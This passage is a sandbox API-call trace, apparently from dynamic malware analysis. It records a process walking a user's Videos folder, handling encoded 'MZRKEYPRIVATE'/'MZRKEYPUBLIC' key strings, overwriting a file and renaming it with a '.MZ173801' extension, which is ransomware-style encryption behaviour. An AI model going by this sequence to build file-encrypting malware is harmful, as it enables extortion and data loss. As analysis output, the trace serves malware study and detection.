| out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71d0140, ftCreationTime.dwHighDateTime=0x1d5e1af, ftLastAccessTime.dwLowDateTime=0xd9f80370, ftLastAccessTime.dwHighDateTime=0x1d5e0c0, ftLastWriteTime.dwLowDateTime=0xd9f80370, ftLastWriteTime.dwHighDateTime=0x1d5e0c0, nFileSizeHigh=0x0, nFileSizeLow=0x7774, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="_S_HmVM73NsxZnk99.swf", cAlternateFileName="_S_HMV~1.SWF")) returned 1 [0166.148] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.148] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.148] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\_S_HmVM73NsxZnk99.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\_s_hmvm73nsxznk99.swf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71d0140, ftCreationTime.dwHighDateTime=0x1d5e1af, ftLastAccessTime.dwLowDateTime=0xd9f80370, ftLastAccessTime.dwHighDateTime=0x1d5e0c0, ftLastWriteTime.dwLowDateTime=0xd9f80370, ftLastWriteTime.dwHighDateTime=0x1d5e0c0, nFileSizeHigh=0x0, nFileSizeLow=0x7774)) returned 1 [0166.148] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\_S_HmVM73NsxZnk99.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\_s_hmvm73nsxznk99.swf")) returned 0x20 [0166.148] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\_S_HmVM73NsxZnk99.swf", dwFileAttributes=0x80) returned 1 [0166.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.151] GetCurrentThreadId () returned 0xab4 [0166.151] GetCurrentThreadId () returned 0xab4 [0166.151] GetCurrentThreadId () returned 0xab4 [0166.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.152] GetCurrentThreadId () returned 0xab4 [0166.152] GetCurrentThreadId () returned 0xab4 [0166.152] GetCurrentThreadId () returned 0xab4 [0166.152] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\_S_HmVM73NsxZnk99.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\_s_hmvm73nsxznk99.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.152] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.152] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.152] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x7774 [0166.153] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.153] ReadFile (in: hFile=0x27c, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x7774, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f480*=0x7774, lpOverlapped=0x0) returned 1 [0166.154] CloseHandle (hObject=0x27c) returned 1 [0166.155] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\_S_HmVM73NsxZnk99.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\_s_hmvm73nsxznk99.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.156] WriteFile (in: hFile=0x27c, lpBuffer=0x24b0fa0*, nNumberOfBytesToWrite=0x7774, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24b0fa0*, lpNumberOfBytesWritten=0x19f48c*=0x7774, lpOverlapped=0x0) returned 1 [0166.158] CloseHandle (hObject=0x27c) returned 1 [0166.160] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\_S_HmVM73NsxZnk99.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\_s_hmvm73nsxznk99.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\_S_HmVM73NsxZnk99.swf.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\13_uhdlxbgnjhygey\\_s_hmvm73nsxznk99.swf.mz173801")) returned 1 [0166.161] GetCurrentThreadId () returned 0xab4 [0166.161] GetCurrentThreadId () returned 0xab4 [0166.161] GetCurrentThreadId () returned 0xab4 [0166.161] GetCurrentThreadId () returned 0xab4 [0166.161] GetCurrentThreadId () returned 0xab4 [0166.161] GetCurrentThreadId () returned 0xab4 [0166.161] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71d0140, ftCreationTime.dwHighDateTime=0x1d5e1af, ftLastAccessTime.dwLowDateTime=0xd9f80370, ftLastAccessTime.dwHighDateTime=0x1d5e0c0, ftLastWriteTime.dwLowDateTime=0xd9f80370, ftLastWriteTime.dwHighDateTime=0x1d5e0c0, nFileSizeHigh=0x0, nFileSizeLow=0x7774, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="_S_HmVM73NsxZnk99.swf", cAlternateFileName="_S_HMV~1.SWF")) returned 0 [0166.161] GetLastError () returned 0x12 [0166.161] FindClose (in: hFindFile=0xa1b7a8 | out: hFindFile=0xa1b7a8) returned 1 [0166.161] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\13_UhdLxbGNJHYgey\\*.*", lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2097ba00, ftCreationTime.dwHighDateTime=0x1d5e3c3, ftLastAccessTime.dwLowDateTime=0x8d2ec46f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8d2ec46f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b850 [0166.162] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0166.162] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.162] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2097ba00, ftCreationTime.dwHighDateTime=0x1d5e3c3, ftLastAccessTime.dwLowDateTime=0x8d2ec46f, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8d2ec46f, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0166.162] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.162] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.162] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f63f290, ftCreationTime.dwHighDateTime=0x1d5e8bf, ftLastAccessTime.dwLowDateTime=0x80fa1340, ftLastAccessTime.dwHighDateTime=0x1d5effb, ftLastWriteTime.dwLowDateTime=0x8cf32c01, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe673, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="0opQH4AAr9-8.flv.MZ173801", cAlternateFileName="0OPQH4~1.MZ1")) returned 1 [0166.162] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.162] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.162] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bfe440, ftCreationTime.dwHighDateTime=0x1d5ea44, ftLastAccessTime.dwLowDateTime=0xd387c590, ftLastAccessTime.dwHighDateTime=0x1d5ec35, ftLastWriteTime.dwLowDateTime=0x8cf58c57, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1023e, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="1SMdexnO32Gfhrk4V0f.swf.MZ173801", cAlternateFileName="1SMDEX~1.MZ1")) returned 1 [0166.162] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.162] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.162] FindNextFileW (in: hFindFile=0xa1b850, lpFindFileData=0x19f5b8 | out: 